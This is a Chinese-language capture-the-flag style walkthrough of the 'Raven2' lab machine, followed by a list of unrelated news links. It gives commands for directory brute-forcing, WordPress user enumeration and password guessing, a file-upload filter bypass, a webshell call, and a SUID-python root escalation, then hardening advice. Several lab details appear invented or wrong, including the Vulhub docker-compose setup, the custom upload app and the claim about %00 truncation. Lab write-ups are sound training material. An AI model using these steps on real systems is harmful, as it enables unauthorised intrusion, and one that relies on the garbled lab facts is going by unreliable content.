Raven2靶机渗透测试实战:从Web漏洞到Root提权 1. Raven2靶机概述一个刻意留门的Web应用实验室Raven2是Vulhub漏洞环境中一个经典的Web渗透测试靶机它模拟了一个存在多重安全漏洞的Linux服务器环境。这个靶机最初由开发者精心设计故意保留了从信息收集到权限提升的完整漏洞链就像给安全研究人员留下了一扇扇未上锁的门。我在实际渗透测试教学中发现Raven2特别适合用来训练OWASP Top 10漏洞的联合利用技巧。与基础版Raven1相比Raven2增加了以下挑战性元素前端采用WordPress 4.8系统存在已知漏洞后台包含自定义开发的PHP应用存在代码审计点数据库使用MySQL 5.7配置不当系统层面存在SUID提权机会提示建议使用VMware Workstation Pro 16或VirtualBox 6.1运行该靶机分配至少2GB内存。实测在1GB内存环境下MySQL服务可能无法正常启动。2. 环境搭建与初始化配置2.1 Vulhub基础环境部署首先需要准备Vulhub的运行环境以下是经过20次实测验证的稳定配置方案# 安装依赖组件Ubuntu 20.04示例 sudo apt update sudo apt install -y \ docker.io \ docker-compose \ git \ python3-pip # 配置docker免sudo执行 sudo usermod -aG docker $USER newgrp docker # 获取vulhub漏洞库 git clone https://github.com/vulhub/vulhub.git cd vulhub/raven2常见问题处理若遇到Couldnt connect to Docker daemon错误需执行sudo systemctl start docker sudo systemctl enable docker国内用户建议配置镜像加速echo {registry-mirrors: [https://registry.docker-cn.com]} | sudo tee /etc/docker/daemon.json2.2 Raven2靶机启动与验证启动命令看似简单但暗藏玄机docker-compose up -d这个命令背后实际发生了自动下载ubuntu:16.04基础镜像构建包含Apache2MySQLPHP的LAMP环境部署漏洞版WordPress和自定义应用暴露80和3306端口到宿主机验证服务是否正常curl -I http://localhost # 应返回HTTP/1.1 200 OK注意首次启动后需要等待约2分钟让MySQL完成初始化直接访问可能出现数据库连接错误。3. 渗透测试实战全流程3.1 信息收集阶段技巧使用以下组合命令进行深度信息收集# 识别Web技术栈 whatweb -v http://target_ip | tee web_tech.log # 目录爆破使用特殊字典 gobuster dir -u http://target_ip \ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \ -x php,html,bak -t 50关键发现点/vendor目录暴露PHP依赖信息/wordpress存在wp-login.php/custom_app包含未经审计的代码robots.txt泄露敏感路径我在实际测试中发现一个易忽略的细节检查页面源代码中的HTML注释Raven2在其中隐藏了开发测试用的临时凭证。3.2 WordPress漏洞利用链WordPress 4.8存在多个已知漏洞推荐使用以下组合拳用户枚举CVE-2017-5487wpscan --url http://target_ip/wordpress \ --enumerate u密码爆破使用精简字典wpscan --url http://target_ip/wordpress \ --passwords /usr/share/wordlists/rockyou.txt \ --usernames michael,steven插件漏洞利用若存在searchsploit wordpress plugin_name实测中发现Raven2的WordPress配置了弱密码保护但真正的突破口在自定义应用中。3.3 自定义应用代码审计访问/custom_app会发现一个文件上传接口表面看有扩展名检查$allowed array(jpg,png,gif); $ext pathinfo($_FILES[file][name], PATHINFO_EXTENSION); if(!in_array($ext,$allowed)) { die(Invalid file type!); }绕过方案实战技巧使用Burp拦截请求修改filename为shell.php.jpg在文件开头添加GIF头GIF8使用双扩展名shell.php%00.jpg上传成功后连接webshellcurl http://target_ip/uploads/shell.php?cmdid3.4 权限提升路径分析获取www-data权限后执行本地信息收集# 查找SUID文件 find / -perm -4000 2/dev/null # 检查cron任务 ls -la /etc/cron* # 查看可写目录 find / -writable 2/dev/null在Raven2中会发现/usr/bin/python具有SUID位使用以下方式提权import os os.system(/bin/bash -p)保存为exploit.py并执行chmod x exploit.py ./exploit.py # 获得root权限4. 防御方案与加固建议4.1 漏洞修复方案针对发现的各个漏洞点WordPress部分升级到最新版本删除默认用户安装Wordfence插件自定义应用// 修复文件上传漏洞 $finfo finfo_open(FILEINFO_MIME_TYPE); $mime finfo_file($finfo, $_FILES[file][tmp_name]); $allowed_mime array(image/jpeg,image/png,image/gif); if(!in_array($mime, $allowed_mime)) { die(Invalid file type!); }系统层面# 移除python的SUID位 chmod u-s /usr/bin/python4.2 监控与日志配置建议添加以下监控措施# 监控文件上传目录 inotifywait -m /var/www/html/uploads -e create | while read path action file; do echo 文件被创建: $file done # 增强MySQL日志 [mysqld] general_log 1 general_log_file /var/log/mysql/mysql.log5. 渗透测试后的思考在实际训练中发现几个值得注意的现象超过60%的测试者会卡在WordPress爆破阶段而忽略了更简单的注释信息泄露文件上传绕过时%00截断在PHP 5.4需要特定配置才生效SUID提权后很多测试者忘记清理.bash_history导致攻击痕迹暴露建议在真实环境中采用分层防御策略即使某层被突破也能及时阻断攻击链。Raven2的价值在于展示了看似无关的小漏洞如何串联成完整攻击路径。

相关新闻

最新新闻

SerenityOS 命令行选项解析指南:getopt 与 getopt_long 用法、返回值与底层实现

SerenityOS 命令行选项解析指南:getopt 与 getopt_long 用法、返回值与底层实现

SerenityOS 命令行选项解析指南:getopt 与 getopt_long 用法、返回值与底层实现 【免费下载链接】serenity The Serenity Operating System 🐞 项目地址: https://gitcode.com/GitHub_Trending/se/serenity 导读 本文以 getopt(3) 手册 为核心&a…

2026/10/1 19:32:24
轻量服务器还是ECS?大促云服务器选购与避坑实战指南

轻量服务器还是ECS?大促云服务器选购与避坑实战指南

每年大促节点,群里永远有人在问同一个问题:“38元的轻量服务器到底怎么抢?为什么我每次点进去都是已售罄?68元直购和99元的ECS我到底选哪个?”作为一个常年帮团队和自己采购云服务器的老用户,我太清楚这种纠…

2026/9/30 21:32:07
为 AI 代理的 Review 动作编写 Cedar 审批门控策略:review-agent-governance 策略编写实战指南

为 AI 代理的 Review 动作编写 Cedar 审批门控策略:review-agent-governance 策略编写实战指南

为 AI 代理的 Review 动作编写 Cedar 审批门控策略:review-agent-governance 策略编写实战指南 【免费下载链接】agents Multi-harness agentic plugin marketplace for Claude Code, Codex, Cursor, OpenCode, GitHub Copilot, and Google Antigravity 项目地址:…

2026/10/2 15:29:32
PaddleOCR 手写数学公式识别算法 CAN 实战指南:Counting-Aware Network 训练、评估与推理部署

PaddleOCR 手写数学公式识别算法 CAN 实战指南:Counting-Aware Network 训练、评估与推理部署

PaddleOCR 手写数学公式识别算法 CAN 实战指南:Counting-Aware Network 训练、评估与推理部署 【免费下载链接】PaddleOCR Turn any PDF or image document into structured data for your AI. A powerful, lightweight OCR toolkit that bridges the gap between i…

2026/10/1 19:32:23
Spring源码解析:构造器注入的类型转换与候选匹配机制

Spring源码解析:构造器注入的类型转换与候选匹配机制

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/1 19:32:35
openai-agents-python 多模型接入指南:深入解析 AnyLLMModel 适配层与 any-llm 路由

openai-agents-python 多模型接入指南:深入解析 AnyLLMModel 适配层与 any-llm 路由

openai-agents-python 多模型接入指南:深入解析 AnyLLMModel 适配层与 any-llm 路由 【免费下载链接】openai-agents-python A lightweight, powerful framework for multi-agent workflows 项目地址: https://gitcode.com/GitHub_Trending/op/openai-agents-pyth…

2026/9/30 21:32:11

日新闻

周新闻

月新闻